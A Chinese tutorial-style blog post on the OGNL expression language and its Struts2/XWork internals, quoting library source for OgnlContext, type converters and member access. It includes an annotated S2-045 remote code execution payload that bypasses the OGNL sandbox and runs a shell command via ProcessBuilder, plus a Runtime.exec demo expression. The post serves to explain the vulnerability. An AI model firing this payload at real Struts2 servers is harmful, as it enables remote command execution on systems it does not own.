深入理解OGNL


OGNL是Object-Graph Navigation Language的缩写,它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

0x01 为什么要引入表达式引擎 ?表达式引擎在Web开发中有什么重要作用 ?

  1. 同一个对象 ,在 “弱类型 ”的平台和一个 “强类型 ”的平台之间交互 ,就必须有一个非常重要的 “翻译 ”角色解决这种 “不匹配 ” 。这个角色 ,就是我们所说的表达式引擎 ,它充当着桥梁作用 ,保证数据能够顺利地在MVC的各个层次进行流转 。

0x02 一个合格的表达式语言应该具备什么?

  1. 能够处理表达式与对象之间的映射关系,并且这种关系是双向的。
  2. 能够支持丰富多样的表达式语法计算。
  3. 能够支持必要的数据类型转换.

0x03 OGNL的三要素是什么 ?

  1. 表达式: 表达式是OGNL的核心,来确定 “要干什么”

  2. Root对象: OGNL表达式要操作的具体对象(读、写), 来确定 “要干谁”…哈哈

  3. 上下文环境: 所有的对象的读写操作都会在一个特定的数据环境中运行,这个就是上下文环境, 也就是确定“在哪里干?”

TIPS: 有时候我们在使用getValue的时候仅传递了两个参数getValue(exp, root),其实底层代码会调用addDefaultContext创建一个OgnlContext对象为默认的Context

0x04 OGNL有哪些基本操作 ?

  1. 对Root对象的访问: 通过.来访问.
  2. 对上下文环境的访问: 通过#来访问,如 #foo
  3. 对静态变量的访问: 通过@来访问
  4. 调用方法: 类似java的方法调用,支持传参
  5. 使用操作符进行计算: 支持+ 、- 、* 、 / 、++ 、-- 、 == 、 in 、 mod 、 not in
  6. 对数组和容器的访问: OGNL支持根据键值进行访问,例如 : #foo[‘key’]、#foo[0].user
  7. 投影(projection)与选择(selection):
    1. 投影:投影是指选出集合中每个元素的相同属性组成一个新的集合,类似于关系数据的字段操作。 操作语法: collection.{ XXXX }
    2. 选择:选择就是过滤满足selection条件的集合元素,类似于关系数据库的结果集操作。 操作语法: collection.{X YYY}, 其中X是一个选择操作符,后面则是逻辑表达式:
      1. ?: 选择满足条件的所有元素
      2. ^ : 选择满足条件的第一个元素
      3. $ : 选择满足条件的最后一个元素
  8. 构造对象:
    1. 构造List: 使用{},中间使用逗号隔开
    2. 构造Map:使用#{}, 逗号隔开键值对,冒号隔开key和value, 如{ "key1":"val1", "key2":"val2"}
    3. 构造Object: 使用已知的对象的构造函数来构造对象,例如: #foo=new java.net.URL("http://xxx.com")
  9. 深入this指针: 指向当前调用者对应的实例,例如:users.{ ?#this.age > 3}

  10. 有关#的三个用途:

    1. # 加在普通OGNL表达式前面,用于访问OGNL上下文中的变量
    2. 使用#{}语法动态创建Map
    3. # 加载this指针前,表示对this指针的引用

OGNL投影、选择实例代码:

1
2
3
4
5
6
7
8
<!-- 正则表达式中,"^"代表开头,"$"代表结尾,"?"代表过滤 -->
<li>投影(过滤):<s:property value="users.{?#this.age==1}.{age}"/><br/> 
<!-- 找到所有年龄大于1的user,取第一个 -->
<li>投影:<s:property value="users.{^#this.age>1}.{age}"/><br/> 
<!-- 找到所有年龄大于1的user,取最后一个 -->
<li>投影:<s:property value="users.{$#this.age>1}.{age}"/><br/> 
<!-- 找到所有年龄大于1的集合,判断这个集合是否为空 -->
<li>投影:<s:property value="users.{$#this.age>1}.{age} == null"/><br/>

TIPS: 静态变量或静态方法的访问,需要通过 @[class]@[field/method]的表达式语法来进行.

OGNL操作静态方法实例代码:

1
2
3
4
5
6
7
8
// 调用静态方法
OgnlContext ognlContext = new OgnlContext();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app')", context, ognlContext.getRoot());


// 定义变量,并调用方法,及给方法传参
OgnlContext ognlContext = new OgnlContext();
Ognl.getValue("#foo='open /Applications/Calculator.app',@java.lang.Runtime@getRuntime().exec(#foo)", context, ognlContext.getRoot());

S2-045漏洞的OGNL表达式分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// 定义一个变量
(#nike='multipart/form-data').

// dm变量为ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

// 绕过沙箱
(#_memberAccess?(#_memberAccess=#dm):(


    // 获取容器
  (#container=#context['com.opensymphony.xwork2.ActionContext.container']).

  // 通过容器获取OgnlUtil类
  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

  // 通过OgnlUtil类获取excludedPackageNames, excludedPackageNames是一个Set类型,然后调用clear方法清空
  (#ognlUtil.getExcludedPackageNames().clear()).

    // 原理同上
  (#ognlUtil.getExcludedClasses().clear()).

     
    // 设置memeberAceess
  (#context.setMemberAccess(#dm)))
).

(#cmd='whoami').

(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).

(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).

(#p=new java.lang.ProcessBuilder(#cmds)).

(#p.redirectErrorStream(true)).

(#process=#p.start()).

(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).

(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).


(#ros.flush())

OGNL读写对象的实例代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import junit.framework.TestCase;
import ognl.Ognl;
import ognl.OgnlException;
import org.junit.Test;

import java.util.HashMap;
import java.util.Map;

public class OgnlTest extends TestCase {


    @Test
    public void test() throws OgnlException {


        // 创建root对象
        User user = new User();
        user.setName("My name is Test");

        // 创建上下文
        Map<String, String> context = new HashMap<>();
        context.put("foo", "Hello world");


        // 从root对象中获取计算结果
        Object value = Ognl.getValue(Ognl.parseExpression("name"), user);
        System.out.println(value);


        // 从上下文中获取计算结果
        Object Value = Ognl.getValue(Ognl.parseExpression("#foo"), context, user);
        System.out.println(Value);


        // 获取上下文中的计算结果 + root对象里的计算结果
        Object v1 = Ognl.getValue(Ognl.parseExpression("#foo + name"), context, user);
        System.out.println(v1);


        // 对root对象进行写操作
        Ognl.setValue(Ognl.parseExpression("name"), user, "My name is dean");
        System.out.println(user.getName());

    }

    class User {
        public String getName() {
            return name;
        }

        public void setName(String name) {
            this.name = name;
        }

        String name;
    }
}

运行输出:

1
2
3
4
My name is Test
Hello world
Hello worldMy name is Test
My name is dean

0x05 在OGNL中 ,针对Root对象的计算与针对上下文环境的计算有什么不同 ?

  1. 仅表达式写法上的差异,从计算规则角度上并没有差异,如: 对Root对象的访问: 通过.来访问. 对上下文环境的访问: 通过#来访问

0x06 OGNL的计算行为是在哪些OGNL内部的变量中指定的 ?

  1. _root : 在OginlContext内维护的Root对象,它是OGNL主要操作对象.
  2. _values : 传入map作为上下文,ognl依然会创建一个OgnlContext对象,并将传递的map中所有键值维护在_value里, 具体代码如下:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public class OgnlContext extends Object implements Map
{

    // ... 省略

    private Map _values = new HashMap(23);
    public void setValues(Map value)
    {
        for(Iterator it = value.keySet().iterator(); it.hasNext();) {
            Object k = it.next();

            _values.put(k, value.get(k));
        }
    }

    // ..省略
}
  1. ClassResolver : class加载处理类,默认使用JVM的class.forName实现
  2. TypeConverter(类型转换): 类型转换处理类
  3. MemberAccess : 指定处理属性访问策略的处理方式, 默认禁止访问private、protected、package protected的访问

我们一窥OgnlContext类代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class OgnlContext extends Object implements Map
{

    public static final String CONTEXT_CONTEXT_KEY = "context";
    public static final String ROOT_CONTEXT_KEY = "root";
    public static final String THIS_CONTEXT_KEY = "this";
    public static final String TRACE_EVALUATIONS_CONTEXT_KEY = "_traceEvaluations";
    public static final String LAST_EVALUATION_CONTEXT_KEY = "_lastEvaluation";
    public static final String KEEP_LAST_EVALUATION_CONTEXT_KEY = "_keepLastEvaluation";
    public static final String CLASS_RESOLVER_CONTEXT_KEY = "_classResolver";
    public static final String TYPE_CONVERTER_CONTEXT_KEY = "_typeConverter";
    public static final String MEMBER_ACCESS_CONTEXT_KEY = "_memberAccess";

    private static final String PROPERTY_KEY_PREFIX = "ognl";
    private static boolean DEFAULT_TRACE_EVALUATIONS = false;
    private static boolean DEFAULT_KEEP_LAST_EVALUATION = false;

    public static final ClassResolver DEFAULT_CLASS_RESOLVER = new DefaultClassResolver();
    public static final TypeConverter DEFAULT_TYPE_CONVERTER = new DefaultTypeConverter();
    public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);
    
    private static Map RESERVED_KEYS = new HashMap(11);
    
    private Object _root;
    private Object _currentObject;
    private Node _currentNode;
    private boolean _traceEvaluations = DEFAULT_TRACE_EVALUATIONS;
    private Evaluation _rootEvaluation;
    private Evaluation _currentEvaluation;
    private Evaluation _lastEvaluation;
    private boolean _keepLastEvaluation = DEFAULT_KEEP_LAST_EVALUATION;
    
    private Map _values = new HashMap(23);
    
    private ClassResolver _classResolver = DEFAULT_CLASS_RESOLVER;
    private TypeConverter _typeConverter = DEFAULT_TYPE_CONVERTER;
    private MemberAccess _memberAccess = DEFAULT_MEMBER_ACCESS;

DefaultClassResolver 实现代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class DefaultClassResolver extends Object implements ClassResolver
{
    private Map     classes = new HashMap(101);

    public DefaultClassResolver()
    {
        super();
    }

  public Class classForName(String className, Map context) throws ClassNotFoundException
  {
      Class       result = null;

        if ((result = (Class)classes.get(className)) == null) {
        try {
            result = Class.forName(className);
        } catch (ClassNotFoundException ex) {
          if (className.indexOf('.') == -1) {
              result = Class.forName("java.lang." + className);
              classes.put("java.lang." + className, result);
            }
        }
      classes.put(className, result);
      }
      return result;
  }
}

DefaultTypeConverter 实现代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class DefaultTypeConverter implements TypeConverter
{
    public DefaultTypeConverter()
    {
        super();
    }

    // 调用了OgnlOps的converValue进行类型转换
    public Object convertValue(Map context, Object value, Class toType)
    {
        return OgnlOps.convertValue(value, toType);
    }

    public Object convertValue(Map context, Object target, Member member, String propertyName, Object value, Class toType)
    {
        return convertValue(context, value, toType);
    }
}


// 看一下 OgnlOps 的代码
public abstract class OgnlOps implements NumericTypes
{
    public static Object convertValue(Object value, Class toType, boolean preventNulls)
    {
        Object result = null;
        
        if (value != null && toType.isAssignableFrom(value.getClass()))
            return value;
        
        if (value != null) {
            /* If array -> array then convert components of array individually */
            if (value.getClass().isArray() && toType.isArray()) {
                Class componentType = toType.getComponentType();

                result = Array.newInstance(componentType, Array.getLength(value));
                for(int i = 0, icount = Array.getLength(value); i < icount; i++) {
                    Array.set(result, i, convertValue(Array.get(value, i), componentType));
                }
            } else if (value.getClass().isArray() && !toType.isArray()) {
                
                return convertValue(Array.get(value, 0), toType);
            } else if (!value.getClass().isArray() && toType.isArray()){
                
                if (toType.getComponentType() == Character.TYPE) {

                    result = stringValue(value).toCharArray();
                } else if (toType.getComponentType() == Object.class) {
                    return new Object[] { value };
                }
            } else {
                if ((toType == Integer.class) || (toType == Integer.TYPE)) {
                    result = new Integer((int) longValue(value));
                }
                if ((toType == Double.class) || (toType == Double.TYPE)) result = new Double(doubleValue(value));
                if ((toType == Boolean.class) || (toType == Boolean.TYPE))
                    result = booleanValue(value) ? Boolean.TRUE : Boolean.FALSE;
                if ((toType == Byte.class) || (toType == Byte.TYPE)) result = new Byte((byte) longValue(value));
                if ((toType == Character.class) || (toType == Character.TYPE))
                    result = new Character((char) longValue(value));
                if ((toType == Short.class) || (toType == Short.TYPE)) result = new Short((short) longValue(value));
                if ((toType == Long.class) || (toType == Long.TYPE)) result = new Long(longValue(value));
                if ((toType == Float.class) || (toType == Float.TYPE)) result = new Float(doubleValue(value));
                if (toType == BigInteger.class) result = bigIntValue(value);
                if (toType == BigDecimal.class) result = bigDecValue(value);
                if (toType == String.class) result = stringValue(value);
            }
        } else {
            if (toType.isPrimitive()) {
                result = OgnlRuntime.getPrimitiveDefaultValue(toType);
            } else if (preventNulls && toType == Boolean.class) {
                result = Boolean.FALSE;
            } else if (preventNulls && Number.class.isAssignableFrom(toType)){
                result = OgnlRuntime.getNumericDefaultValue(toType);
            }
        }
        
        if (result == null && preventNulls)
            return value;

        if (value != null && result == null) {
            
            throw new IllegalArgumentException("Unable to convert type " + value.getClass().getName() + " of " + value + " to type of " + toType.getName());
        }

        return result;
    }

DefaultMemberAccess 实现代码: 默认禁止访问private、protected、package protected的访问

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
public class DefaultMemberAccess implements MemberAccess
{
    public boolean      allowPrivateAccess = false;
    public boolean      allowProtectedAccess = false;
    public boolean      allowPackageProtectedAccess = false;

  /*===================================================================
    Constructors
    ===================================================================*/
  public DefaultMemberAccess(boolean allowAllAccess)
  {
      this(allowAllAccess, allowAllAccess, allowAllAccess);
  }

  public DefaultMemberAccess(boolean allowPrivateAccess, boolean allowProtectedAccess, boolean allowPackageProtectedAccess)
  {
      super();
      this.allowPrivateAccess = allowPrivateAccess;
      this.allowProtectedAccess = allowProtectedAccess;
      this.allowPackageProtectedAccess = allowPackageProtectedAccess;
  }

  /*===================================================================
    Public methods
    ===================================================================*/
  public boolean getAllowPrivateAccess()
  {
      return allowPrivateAccess;
  }

  public void setAllowPrivateAccess(boolean value)
  {
      allowPrivateAccess = value;
  }

  public boolean getAllowProtectedAccess()
  {
      return allowProtectedAccess;
  }

  public void setAllowProtectedAccess(boolean value)
  {
      allowProtectedAccess = value;
  }

  public boolean getAllowPackageProtectedAccess()
  {
      return allowPackageProtectedAccess;
  }

  public void setAllowPackageProtectedAccess(boolean value)
  {
      allowPackageProtectedAccess = value;
  }

  /*===================================================================
    MemberAccess interface
    ===================================================================*/
    public Object setup(Map context, Object target, Member member, String propertyName)
    {
        Object      result = null;

        if (isAccessible(context, target, member, propertyName)) {
            AccessibleObject    accessible = (AccessibleObject)member;

            if (!accessible.isAccessible()) {
                result = Boolean.TRUE;
                accessible.setAccessible(true);
            }
        }
        return result;
    }

    public void restore(Map context, Object target, Member member, String propertyName, Object state)
    {
        if (state != null) {
            ((AccessibleObject)member).setAccessible(((Boolean)state).booleanValue());
        }
    }

    /**
        Returns true if the given member is accessible or can be made accessible
        by this object.
     */
  public boolean isAccessible(Map context, Object target, Member member, String propertyName)
  {
      int         modifiers = member.getModifiers();
      boolean     result = Modifier.isPublic(modifiers);

      if (!result) {
          if (Modifier.isPrivate(modifiers)) {
              result = getAllowPrivateAccess();
          } else {
              if (Modifier.isProtected(modifiers)) {
                  result = getAllowProtectedAccess();
              } else {
                  result = getAllowPackageProtectedAccess();
              }
          }
      }
      return result;
  }
}

在XWork中对DefaultMemberAccess做了一定扩展,具体看 SecurityMemberAccess 代码实现: 增加了静态方法的调用限制、正则匹配限制某些属性的访问

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
public class SecurityMemberAccess extends DefaultMemberAccess {

    private boolean allowStaticMethodAccess;
    Set<Pattern> excludeProperties = Collections.emptySet();
    Set<Pattern> acceptProperties = Collections.emptySet();

    public SecurityMemberAccess(boolean method) {
        super(false);
        allowStaticMethodAccess = method;
    }

    public boolean getAllowStaticMethodAccess() {
        return allowStaticMethodAccess;
    }

    public void setAllowStaticMethodAccess(boolean allowStaticMethodAccess) {
        this.allowStaticMethodAccess = allowStaticMethodAccess;
    }

    @Override
    public boolean isAccessible(Map context, Object target, Member member,
                                String propertyName) {

        boolean allow = true;
        int modifiers = member.getModifiers();
        if (Modifier.isStatic(modifiers)) {
            if (member instanceof Method && !getAllowStaticMethodAccess()) {
                allow = false;
                if (target instanceof Class) {
                    Class clazz = (Class) target;
                    Method method = (Method) member;
                    if (Enum.class.isAssignableFrom(clazz) && method.getName().equals("values"))
                        allow = true;
                }
            }
        }

        //failed static test
        if (!allow)
            return false;

        // Now check for standard scope rules
        if (!super.isAccessible(context, target, member, propertyName))
            return false;

        return isAcceptableProperty(propertyName);
    }

    protected boolean isAcceptableProperty(String name) {
        if ( name == null) {
            return true;
        }

        if (isAccepted(name) && !isExcluded(name)) {
            return true;
        }
        return false;
    }

    protected boolean isAccepted(String paramName) {
        if (!this.acceptProperties.isEmpty()) {
            for (Pattern pattern : acceptProperties) {
                Matcher matcher = pattern.matcher(paramName);
                if (matcher.matches()) {
                    return true;
                }
            }

            //no match, but acceptedParams is not empty
            return false;
        }

        //empty acceptedParams
        return true;
    }

    protected boolean isExcluded(String paramName) {
        if (!this.excludeProperties.isEmpty()) {
            for (Pattern pattern : excludeProperties) {
                Matcher matcher = pattern.matcher(paramName);
                if (matcher.matches()) {
                    return true;
                }
            }
        }
        return false;
    }

    public void setExcludeProperties(Set<Pattern> excludeProperties) {
        this.excludeProperties = excludeProperties;
    }

    public void setAcceptProperties(Set<Pattern> acceptedProperties) {
        this.acceptProperties = acceptedProperties;
    }
}

看一下XWork都实现了Ognl的那些类:

struts2

0x007 OGNL在计算时是如何处理类型转化的 ?又是如何处理级联对象的初始化行为的 ?

  1. 使用TypeConverter进行类型转换.
  2. 使用InstantiatingNullHandler进行处理级联对象初始化造作,具体代码如下:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
   public Object nullPropertyValue(Map<String, Object> context, Object target, Object property) {
        if (LOG.isDebugEnabled()) {
            LOG.debug("Entering nullPropertyValue [target="+target+", property="+property+"]");
        }

        boolean c = ReflectionContextState.isCreatingNullObjects(context);

        if (!c) {
            return null;
        }

        if ((target == null) || (property == null)) {
            return null;
        }

        try {
            String propName = property.toString();
            Object realTarget = reflectionProvider.getRealTarget(propName, context, target);
            Class clazz = null;

            if (realTarget != null) {
                PropertyDescriptor pd = reflectionProvider.getPropertyDescriptor(realTarget.getClass(), propName);
                if (pd == null) {
                    return null;
                }

                clazz = pd.getPropertyType();
            }

            if (clazz == null) {
                // can't do much here!
                return null;
            }

            // 初始化对象
            Object param = createObject(clazz, realTarget, propName, context);

            reflectionProvider.setValue(propName, context, realTarget, param);

            return param;
        } catch (Exception e) {
            LOG.error("Could not create and/or set value back on to object", e);
        }

        return null;
    }

    private Object createObject(Class clazz, Object target, String property, Map<String, Object> context) throws Exception {
        if (Collection.class.isAssignableFrom(clazz)) {
            return new ArrayList();
        } else if (clazz == Map.class) {
            return new HashMap();
        } else if (clazz == EnumMap.class) {
            Class keyClass = objectTypeDeterminer.getKeyClass(target.getClass(), property);
            return new EnumMap(keyClass);
        }

        return objectFactory.buildBean(clazz, context);
    }

0x008 XWork都扩展了OGNL那些类?

  1. ClassResolver : CompoundRootAccessor
  2. TypeConverter : DefaultTypeConverter、XWorkBaseConverter、XWorkConverter
  3. MemberAccessor: XWorkMethodAccessor、
  4. PropertyAccessor: XWorkObjectPropertyAccessor、XWorkMapPropertyAccessor、XWorkListPropertyAccessor、XWorkIteratorPropertyAccessor、ObjectProxyPropertyAccessor

0x09 如何在XWork中扩展OGNL计算中的类型转化 ?

  1. 在xwork-conversion.propertie 文件中声明
  2. 在java类所处于的package目录的[ClassName]-conversion.properties文件中声明
  3. 为java类指定特殊的Annotation

附上XWorkConverter实现代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
public class XWorkConverter extends DefaultTypeConverter {

    protected static final Logger LOG = LoggerFactory.getLogger(XWorkConverter.class);
    public static final String REPORT_CONVERSION_ERRORS = "report.conversion.errors";
    public static final String CONVERSION_PROPERTY_FULLNAME = "conversion.property.fullName";
    public static final String CONVERSION_ERROR_PROPERTY_PREFIX = "invalid.fieldvalue.";
    public static final String CONVERSION_COLLECTION_PREFIX = "Collection_";

    public static final String LAST_BEAN_CLASS_ACCESSED = "last.bean.accessed";
    public static final String LAST_BEAN_PROPERTY_ACCESSED = "last.property.accessed";
    public static final String MESSAGE_INDEX_PATTERN = "\\[\\d+\\]\\.";
    public static final String MESSAGE_INDEX_BRACKET_PATTERN = "[\\[\\]\\.]";
    public static final String PERIOD = ".";
    public static final Pattern messageIndexPattern = Pattern.compile(MESSAGE_INDEX_PATTERN); 

    /**
     * Target class conversion Mappings.
     * <pre>
     * Map<Class, Map<String, Object>>
     *  - Class -> convert to class
     *  - Map<String, Object>
     *    - String -> property name
     *                eg. Element_property, property etc.
     *    - Object -> String to represent properties
     *                eg. value part of
     *                    KeyProperty_property=id
     *             -> TypeConverter to represent an Ognl TypeConverter
     *                eg. value part of
     *                    property=foo.bar.MyConverter
     *             -> Class to represent a class
     *                eg. value part of
     *                    Element_property=foo.bar.MyObject
     * </pre>
     */
    protected HashMap<Class, Map<String, Object>> mappings = new HashMap<Class, Map<String, Object>>(); // action

    /**
     * Unavailable target class conversion mappings, serves as a simple cache.
     */
    protected HashSet<Class> noMapping = new HashSet<Class>(); // action

    /**
     * Record class and its type converter mapping.
     * <pre>
     * - String - classname as String
     * - TypeConverter - instance of TypeConverter
     * </pre>
     */
    protected HashMap<String, TypeConverter> defaultMappings = new HashMap<String, TypeConverter>();  // non-action (eg. returned value)

    /**
     * Record classes that doesn't have conversion mapping defined.
     * <pre>
     * - String -> classname as String
     * </pre>
     */
    protected HashSet<String> unknownMappings = new HashSet<String>();     // non-action (eg. returned value)

    private TypeConverter defaultTypeConverter;
    private ObjectFactory objectFactory;


    protected XWorkConverter() {
    }

    @Inject
    public void setObjectFactory(ObjectFactory factory) {
        this.objectFactory = factory;
        // note: this file is deprecated
        loadConversionProperties("xwork-default-conversion.properties");

        loadConversionProperties("xwork-conversion.properties");
    }

    @Inject
    public void setDefaultTypeConverter(XWorkBasicConverter conv) {
        this.defaultTypeConverter = conv;
    }

    public static String getConversionErrorMessage(String propertyName, ValueStack stack) {
        String defaultMessage = LocalizedTextUtil.findDefaultText(XWorkMessages.DEFAULT_INVALID_FIELDVALUE,
                ActionContext.getContext().getLocale(),
                new Object[]{
                        propertyName
                });

        List<String> indexValues = getIndexValues(propertyName);

        propertyName = removeAllIndexesInProperyName(propertyName);

        String getTextExpression = "getText('" + CONVERSION_ERROR_PROPERTY_PREFIX + propertyName + "','" + defaultMessage + "')";
        String message = (String) stack.findValue(getTextExpression);

        if (message == null) {
            message = defaultMessage;
        } else {
            message = MessageFormat.format(message, indexValues.toArray());
        }

        return message;
    }

    private static String removeAllIndexesInProperyName(String propertyName) {
        return propertyName.replaceAll(MESSAGE_INDEX_PATTERN, PERIOD);
    }

    private static List<String> getIndexValues(String propertyName) {
        Matcher matcher = messageIndexPattern.matcher(propertyName);
        List<String> indexes = new ArrayList<String>();
        while (matcher.find()) {
            Integer index = new Integer(matcher.group().replaceAll(MESSAGE_INDEX_BRACKET_PATTERN, "")) + 1;
            indexes.add(Integer.toString(index));
        }
        return indexes;
    }

    public static String buildConverterFilename(Class clazz) {
        String className = clazz.getName();
        return className.replace('.', '/') + "-conversion.properties";
    }

    @Override
    public Object convertValue(Map<String, Object> map, Object o, Class aClass) {
        return convertValue(map, null, null, null, o, aClass);
    }

    /**
     * Convert value from one form to another.
     * Minimum requirement of arguments:
     * <ul>
     * <li>supplying context, toClass and value</li>
     * <li>supplying context, target and value.</li>
     * </ul>
     *
     * @see TypeConverter#convertValue(java.util.Map, java.lang.Object, java.lang.reflect.Member, java.lang.String, java.lang.Object, java.lang.Class)
     */
    @Override
    public Object convertValue(Map<String, Object> context, Object target, Member member, String property, Object value, Class toClass) {
        //
        // Process the conversion using the default mappings, if one exists
        //
        TypeConverter tc = null;

        if ((value != null) && (toClass == value.getClass())) {
            return value;
        }

        // allow this method to be called without any context
        // i.e. it can be called with as little as "Object value" and "Class toClass"
        if (target != null) {
            Class clazz = target.getClass();

            Object[] classProp = null;

            // this is to handle weird issues with setValue with a different type
            if ((target instanceof CompoundRoot) && (context != null)) {
                classProp = getClassProperty(context);
            }

            if (classProp != null) {
                clazz = (Class) classProp[0];
                property = (String) classProp[1];
            }

            tc = (TypeConverter) getConverter(clazz, property);

            if (LOG.isDebugEnabled())
                LOG.debug("field-level type converter for property [" + property + "] = " + (tc == null ? "none found" : tc));
        }

        if (tc == null && context != null) {
            // ok, let's see if we can look it up by path as requested in XW-297
            Object lastPropertyPath = context.get(ReflectionContextState.CURRENT_PROPERTY_PATH);
            Class clazz = (Class) context.get(XWorkConverter.LAST_BEAN_CLASS_ACCESSED);
            if (lastPropertyPath != null && clazz != null) {
                String path = lastPropertyPath + "." + property;
                tc = (TypeConverter) getConverter(clazz, path);
            }
        }

        if (tc == null) {
            if (toClass.equals(String.class) && (value != null) && !(value.getClass().equals(String.class) || value.getClass().equals(String[].class))) {
                // when converting to a string, use the source target's class's converter
                tc = lookup(value.getClass());
            } else {
                // when converting from a string, use the toClass's converter
                tc = lookup(toClass);
            }

            if (LOG.isDebugEnabled())
                LOG.debug("global-level type converter for property [" + property + "] = " + (tc == null ? "none found" : tc));
        }


        if (tc != null) {
            try {
                return tc.convertValue(context, target, member, property, value, toClass);
            } catch (Exception e) {
                if (LOG.isDebugEnabled())
                    LOG.debug("unable to convert value using type converter [#0]", e, tc.getClass().getName());
